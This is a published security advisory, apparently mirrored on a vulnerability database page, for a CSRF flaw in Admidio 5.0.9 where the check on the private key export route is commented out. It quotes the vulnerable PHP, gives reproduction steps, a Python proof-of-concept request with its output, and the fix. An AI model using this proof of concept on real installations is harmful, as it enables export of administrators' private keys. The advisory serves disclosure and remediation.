GHSA-4RGQ-38MH-9XQG

Vulnerability from github – Published: 2026-05-29 22:07 – Updated: 2026-05-29 22:07
VLAI
Summary
Admidio PKCS#12 private key export action lacks CSRF protection
Details

Summary

The sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.

Vulnerable Code Links

  • https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94
  • https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150

Vulnerable Code

// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;
// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}

What Does The Code Mean

The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.

Why The Code Is Vulnerable

The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.

Verification Environment

  • Application: Admidio v5.0.9
  • Runtime: Dockerized Admidio + MariaDB on http://localhost:18080
  • Validation mode: real deployed application, not isolated unit tests

Steps To Reproduce

  1. Log in as an administrator.
  2. Create or seed an SSO key pair.
  3. Send a POST request to /modules/sso/keys.php?mode=export&uuid=<key-uuid> with only key_password=ExportPass123! and no adm_csrf_token.
  4. Verify that the response returns application/x-pkcs12 and that the returned file parses successfully with OpenSSL.

PoC Script

import os
from pathlib import Path

from helpers import BASE_URL, login, new_session, save_json, save_text


KEY_UUID = os.environ["ADMIDIO_KEY_UUID"]


def main():
session = new_session()
login_result = login(session, "admin", "AdminPass123!")
resp = session.post(
    f"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}",
    data={"key_password": "ExportPass123!"},
)
resp.raise_for_status()

Path("/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12").write_bytes(resp.content)
save_json(
    "pkcs12_export_csrf_result.json",
    {
        "login": login_result,
        "status_code": resp.status_code,
        "content_type": resp.headers.get("Content-Type"),
        "content_length": len(resp.content),
        "content_disposition": resp.headers.get("Content-Disposition"),
    },
)


if __name__ == "__main__":
main()

PoC Output

{
  "content_disposition": "attachment; filename=\"Runtime_Test_Key.p12\"",
  "content_length": 2644,
  "content_type": "application/x-pkcs12",
  "login": {
"cookies": {
  "ADMIDIO_admidio_adm_SESSION_ID": "jpk70tcvbaq3gof7lqdq6penkb"
},
"csrf": "ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn",
"json": {
  "status": "success",
  "url": "http://localhost:18080/modules/overview.php"
},
"status_code": 200
  },
  "status_code": 200
}

MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256
Certificate bag
PKCS7 Data
Shrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256

Impact

A cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.

Remediation And Suggestions

Restore CSRF validation and require a POST body token before exporting private key material.

case 'export':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;

For additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.9"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:07:24Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.\n\n## Vulnerable Code Links\n\n- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94\n- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150\n\n## Vulnerable Code\n\n```php\n// modules/sso/keys.php\ncase \u0027export\u0027:\n// SecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, \u0027key_password\u0027, \u0027string\u0027);\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\n```php\n// src/SSO/Service/KeyService.php\npublic function exportToPkcs12(string $keyUUID, string $password = \u0027\u0027) {\n$ssoKey = new Key($this-\u003edb);\n$ssoKey-\u003ereadDataByUuid($keyUUID);\n...\nopenssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, [\"friendly_name\" =\u003e $name]);\nheader(\u0027Content-Type: application/x-pkcs12\u0027);\nheader(\u0027Content-Disposition: attachment; filename=\"\u0027 . $filename . \u0027.p12\"\u0027);\necho $pkcs12;\nexit;\n}\n```\n\n\n## What Does The Code Mean\n\nThe export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.\n\n## Why The Code Is Vulnerable\n\nThe route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator\u2019s browser to perform the export request.\n\n## Verification Environment\n\n- Application: Admidio `v5.0.9`\n- Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080`\n- Validation mode: real deployed application, not isolated unit tests\n\n## Steps To Reproduce\n\n1. Log in as an administrator.\n2. Create or seed an SSO key pair.\n3. Send a POST request to `/modules/sso/keys.php?mode=export\u0026uuid=\u003ckey-uuid\u003e` with only `key_password=ExportPass123!` and no `adm_csrf_token`.\n4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL.\n\n\n## PoC Script\n\n```python\nimport os\nfrom pathlib import Path\n\nfrom helpers import BASE_URL, login, new_session, save_json, save_text\n\n\nKEY_UUID = os.environ[\"ADMIDIO_KEY_UUID\"]\n\n\ndef main():\nsession = new_session()\nlogin_result = login(session, \"admin\", \"AdminPass123!\")\nresp = session.post(\n    f\"{BASE_URL}/modules/sso/keys.php?mode=export\u0026uuid={KEY_UUID}\",\n    data={\"key_password\": \"ExportPass123!\"},\n)\nresp.raise_for_status()\n\nPath(\"/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12\").write_bytes(resp.content)\nsave_json(\n    \"pkcs12_export_csrf_result.json\",\n    {\n        \"login\": login_result,\n        \"status_code\": resp.status_code,\n        \"content_type\": resp.headers.get(\"Content-Type\"),\n        \"content_length\": len(resp.content),\n        \"content_disposition\": resp.headers.get(\"Content-Disposition\"),\n    },\n)\n\n\nif __name__ == \"__main__\":\nmain()\n```\n\n## PoC Output\n\n```text\n{\n  \"content_disposition\": \"attachment; filename=\\\"Runtime_Test_Key.p12\\\"\",\n  \"content_length\": 2644,\n  \"content_type\": \"application/x-pkcs12\",\n  \"login\": {\n\"cookies\": {\n  \"ADMIDIO_admidio_adm_SESSION_ID\": \"jpk70tcvbaq3gof7lqdq6penkb\"\n},\n\"csrf\": \"ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn\",\n\"json\": {\n  \"status\": \"success\",\n  \"url\": \"http://localhost:18080/modules/overview.php\"\n},\n\"status_code\": 200\n  },\n  \"status_code\": 200\n}\n\nMAC: sha256, Iteration 2048\nMAC length: 32, salt length: 8\nPKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\nCertificate bag\nPKCS7 Data\nShrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\n```\n\n## Impact\n\nA cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.\n\n## Remediation And Suggestions\n\nRestore CSRF validation and require a POST body token before exporting private key material.\n\n```php\ncase \u0027export\u0027:\nSecurityUtils::validateCsrfToken($_POST[\u0027adm_csrf_token\u0027]);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, \u0027key_password\u0027, \u0027string\u0027);\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\nFor additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.",
  "id": "GHSA-4rgq-38mh-9xqg",
  "modified": "2026-05-29T22:07:24Z",
  "published": "2026-05-29T22:07:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-4rgq-38mh-9xqg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio PKCS#12 private key export action lacks CSRF protection"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…